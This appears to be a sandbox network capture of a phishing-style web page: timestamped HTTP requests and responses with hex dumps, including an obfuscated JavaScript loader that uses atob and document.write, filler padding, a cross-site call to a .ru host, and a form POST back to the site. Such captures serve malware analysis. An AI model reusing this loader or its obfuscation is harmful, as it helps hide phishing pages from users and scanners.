2025-03-18 12:33:55 UTC	1504	OUT	GET /rIMOdeCtriNV/ HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ajd.asfhkkiv.es/juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlNWU25lZHgzSnZNRGsxUytyUkNkblE9PSIsInZhbHVlIjoiVC9aM2lnRTVWNUpXaGtpZDE1MFpUb0JYc3hteW50aFMxVzd2U1JNMGZUSExTQ0ZnY1pSemthMlU0UzgrNjBhSnZ6NjV1cStPZ25jR2lhelFVcTRXZkU5TWI4OG5yb25tbkQvMFlVejE3MFZuZDJWbGhJbG1xUmYwTWJJbkpUNU8iLCJtYWMiOiIzMWUzNTkyNzRkZTQ1NzQ1YmE0Yzc1MzA0NTdkNTRlY2I5ZWI5MTkxNGI4N2U5ZDAyNjhiZDUzMWU4M2RmODM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlsaWo1UE1nRUZ6cHhjdzhkRWc1YUE9PSIsInZhbHVlIjoiTzBjakd1dEUxRHpacFA0SnN2UitCUDcvU0psMWQyZGRvSEkzemdGbnBJK0NGS2Vxb2dEU1pCNzRDeFZqZDljdmJnUVRQcnpZTzVySEdHZ0ZmUld0SGYwV3NQcm5HQkQ5OStTbDdObGdmVURuVUxxUWwyZWFlY1lYWEMrQ3BOYmsiLCJtYWMiOiI1NDdjYmM5OWUzYTEyNTVlMmU4ZjIwMTQ4Y2IzNDI0NjdhMTBhMWFjMTNiMmUzMDg1N2QzOGUxZGQxYTZjMjQ5IiwidGFnIjoiIn0%3D
2025-03-18 12:33:55 UTC	1216	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pf173uVoph4S7iemu9DYKSQBMzOtd14ZfduqQPl1UPt%2FPutb%2BQEVDJh3K3XM%2FKbgpuRI2EXjxCmSHvcswd%2Brj65FdkX66KTZOdB7YGeTSStP2H12OgNJksetCiAbJn2c%2Fu1R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1036&min_rtt=1033&rtt_var=394&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2401&delivery_rate=2681732&cwnd=250&unsent_bytes=0&cid=e757b3ca5a48b1bf&ts=281&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ink4dmwxZkgxVXMySllIM3Nra01IU2c9PSIsInZhbHVlIjoiNytlUGZGZWk3czMzTmUzUjQyK2tkNDJtYXFMcWpSd2J5azEzd0ZaVS94dUxkbWU1OEpuRjR3QktkVnFQOEtaMjF4KzA5YXZnd3FVeWdkdnNvc2orOGpJOWVoZE8xeW5tZzJVbzlrVnRGc2JaRnc2aFM5MWdrV25KYnhOekxMQm0iLCJtYWMiOiIzZDdiMGFjYWYyNjY1NzQ1ODUwODRkOWU4YTRlY2JhZWY0MDc4NTIzZTRmZTY2YzQ1MGQyYTM4MGEwNGNlYzFjIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:55 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:55 UTC	763	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 74 4d 4d 45 70 6f 59 58 42 71 64 6d 35 6a 4e 6d 68 4e 4e 30 55 77 55 6c 4a 59 62 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 30 46 57 51 7a 64 57 56 6b 4a 4a 4b 33 4d 34 59 30 4e 45 52 54 59 30 4d 45 73 72 65 58 68 77 5a 58 4a 58 53 57 73 32 65 54 6c 70 61 6a 52 34 62 32 35 57 4c 31 41 35 53 6d 64 74 63 56 5a 6d 4e 6c 4e 34 51 58 4a 77 61 58 52 6a 4d 43 73 72 5a 31 52 6e 4d 30 70 58 56 6d 6c 68 53 6e 63 31 5a 44 59 78 57 6b 64 52 57 48 4a 52 63 7a 52 72 51 6e 45 32 61 57 31 72 57 55 68 47 59 6b 52 6b 57 58 46 6f 57 6e 5a 73 4e 6c 4a 6a 4d 45 5a 45 56 79 39 6b 62 45 56 46 53 6b 39 6d 61 32 38 7a 4e 45 68 4f 56 56 70 6c 55 46 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IktMMEpoYXBqdm5jNmhNN0UwUlJYb2c9PSIsInZhbHVlIjoib0FWQzdWVkJJK3M4Y0NERTY0MEsreXhwZXJXSWs2eTlpajR4b25WL1A5SmdtcVZmNlN4QXJwaXRjMCsrZ1RnM0pXVmlhSnc1ZDYxWkdRWHJRczRrQnE2aW1rWUhGYkRkWXFoWnZsNlJjMEZEVy9kbEVFSk9ma28zNEhOVVplUFg
2025-03-18 12:33:55 UTC	759	IN	Data Raw: 35 30 30 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 71 4c 6b 50 61 6c 70 46 7a 6b 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 68 53 6d 51 75 59 58 4e 6d 61 47 74 72 61 58 59 75 5a 58 4d 76 63 6b 6c 4e 54 32 52 6c 51 33 52 79 61 55 35 57 4c 77 3d 3d 22 29 3b 0a 62 42 5a 4a 67 61 52 74 4c 77 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 77 7a 68 57 79 44 61 4f 48 50 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 71 4c 6b 50 61 6c 70 46 7a 6b 20 3d 3d 20 62 42 5a 4a 67 61 52 74 4c 77 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 77 7a 68 57 79 44 61 4f 48 50 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 Data Ascii: 5009<script>qLkPalpFzk = atob("aHR0cHM6Ly9hSmQuYXNmaGtraXYuZXMvcklNT2RlQ3RyaU5WLw==");bBZJgaRtLw = atob("bm9tYXRjaA==");wzhWyDaOHP = atob("d3JpdGU=");if(qLkPalpFzk == bBZJgaRtLw){document[wzhWyDaOHP](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 4b 47 35 73 52 56 70 7a 5a 57 6c 4a 64 30 38 73 49 47 4e 56 54 48 68 6f 64 6e 4e 47 52 47 6b 70 49 48 73 4b 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 4a 6b 53 58 70 71 53 47 64 6c 56 6b 30 67 50 53 42 62 4c 69 34 75 59 31 56 4d 65 47 68 32 63 30 5a 45 61 56 30 4b 49 43 41 67 49 43 41 67 4c 6d 31 68 63 43 68 70 56 6d 64 78 63 45 5a 4c 61 47 70 69 49 44 30 2b 49 43 73 6f 4a 2b 2b 2b 6f 43 63 67 50 69 42 70 56 6d 64 78 63 45 5a 4c 61 47 70 69 4b 53 6b 4b 49 43 41 67 49 43 41 67 4c 6d 70 76 61 57 34 6f 4a 79 63 70 4f 77 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 56 33 70 51 65 6b 74 42 64 46 5a 31 53 69 41 39 49 48 4a 6b 53 58 70 71 53 47 64 6c 56 6b 30 75 63 6d 56 77 62 47 46 6a 5a 53 67 76 4c 6e 73 34 66 53 39 6e 4c 43 42 5a 5a 46 4e 49 5a 55 52 53 65 47 31 Data Ascii: KG5sRVpzZWlJd08sIGNVTHhodnNGRGkpIHsKICAgIGNvbnN0IHJkSXpqSGdlVk0gPSBbLi4uY1VMeGh2c0ZEaV0KICAgICAgLm1hcChpVmdxcEZLaGpiID0+ICsoJ+++oCcgPiBpVmdxcEZLaGpiKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgV3pQektBdFZ1SiA9IHJkSXpqSGdlVk0ucmVwbGFjZSgvLns4fS9nLCBZZFNIZURSeG1
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk7
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 Data Ascii: 44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g44Wk44Wk44Wk776
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 Data Ascii: 6g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g4
2025-03-18 12:33:55 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 Data Ascii: k776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk776g776g776g44

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:56 UTC	875	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8M If-None-Match: "6be7ff94b6151f8cfbf08b53a17e2ac1"
2025-03-18 12:33:56 UTC	424	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 12:33:56 GMT Content-Type: image/png Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9224c2e89bd50cba-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:57 UTC	639	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=hXB.o2A0kLSAtdawJyouxHU_3KpPP7qNg6ICmi6BHP0-1742301211-1.0.1.1-UdJiZz2eS5C_3DDGF2JN0T5gyuJVa63UYyENrPLwWHc1I5eqIS2XGkbiAJ.goCHZ.0ol2VQUYPoC20CKTWnBQG_jwQcIHQXtbp5Sib0qy8M If-None-Match: "6be7ff94b6151f8cfbf08b53a17e2ac1"
2025-03-18 12:33:57 UTC	424	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 12:33:57 GMT Content-Type: image/png Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9224c2ecde67c45c-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:34:07 UTC	561	OUT	GET /gando@vj5t41 HTTP/1.1 Host: qyka.qxwhvv.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ajd.asfhkkiv.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:34:08 UTC	822	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BOy6ozcwM80AIRYhOUBoPpjjsKSVj5%2FkkTCWGn3COMWEraStsO3yEl2FcOjDJV%2B8sP1nbzw0KIbyc1lWHxeUAhi2gGapM1jf39E9MZKje51p4erop3HXakF4pc4VzP8rzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224c32efb12c44d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1634&rtt_var=625&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1133&delivery_rate=1732937&cwnd=185&unsent_bytes=0&cid=b6233b4acf1c0c27&ts=701&x=0"
2025-03-18 12:34:08 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 12:34:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:34:08 UTC	1437	OUT	POST /ypCZEKKotZ8zgSMewI7x0wOuz8tr6YIF9YmqDmifmbcq HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive Content-Length: 878 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTBlJlzdJcbwXrMxb sec-ch-ua-mobile: ?0 Accept: / Origin: https://ajd.asfhkkiv.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ink4dmwxZkgxVXMySllIM3Nra01IU2c9PSIsInZhbHVlIjoiNytlUGZGZWk3czMzTmUzUjQyK2tkNDJtYXFMcWpSd2J5azEzd0ZaVS94dUxkbWU1OEpuRjR3QktkVnFQOEtaMjF4KzA5YXZnd3FVeWdkdnNvc2orOGpJOWVoZE8xeW5tZzJVbzlrVnRGc2JaRnc2aFM5MWdrV25KYnhOekxMQm0iLCJtYWMiOiIzZDdiMGFjYWYyNjY1NzQ1ODUwODRkOWU4YTRlY2JhZWY0MDc4NTIzZTRmZTY2YzQ1MGQyYTM4MGEwNGNlYzFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktMMEpoYXBqdm5jNmhNN0UwUlJYb2c9PSIsInZhbHVlIjoib0FWQzdWVkJJK3M4Y0NERTY0MEsreXhwZXJXSWs2eTlpajR4b25WL1A5SmdtcVZmNlN4QXJwaXRjMCsrZ1RnM0pXVmlhSnc1ZDYxWkdRWHJRczRrQnE2aW1rWUhGYkRkWXFoWnZsNlJjMEZEVy9kbEVFSk9ma28zNEhOVVplUFgiLCJtYWMiOiI5YTM5YmJmNjJkMjg5MDY2ZWNmMzU2ZTY3NjFhNTQ0OTRiN2VlMDY3YWZlNzYzMmI3M2M5MWI5MjQxOWEwMTRmIiwidGFnIjoiIn0%3D
2025-03-18 12:34:08 UTC	878	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 42 6c 4a 6c 7a 64 4a 63 62 77 58 72 4d 78 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 6c 33 38 76 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 42 6c 4a 6c 7a 64 4a 63 62 77 58 72 4d 78 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 4f 34 6e 58 57 63 30 53 69 4d 73 38 36 4a 46 45 43 42 63 79 4d 47 46 55 51 58 74 35 48 6a 34 57 72 4a 67 6a 38 6c 77 59 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 54 42 6c 4a 6c Data Ascii: ------WebKitFormBoundaryTBlJlzdJcbwXrMxbContent-Disposition: form-data; name="bltpg"l38v------WebKitFormBoundaryTBlJlzdJcbwXrMxbContent-Disposition: form-data; name="sid"O4nXWc0SiMs86JFECBcyMGFUQXt5Hj4WrJgj8lwY------WebKitFormBoundaryTBlJl
2025-03-18 12:34:08 UTC	1179	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:34:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uh1OddKW3s%2BCy10xhMPtvWE7Jv7AMQHvwLUDVabhTmsSxnhn8JPZHqeIYQsGzZYp1bkR1FbQd7tpxaIAxSwCni%2BN2PBbTVMnVWlLrbZkUR9WGClkDENbJUkM9MsWJaTgHQ2M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: 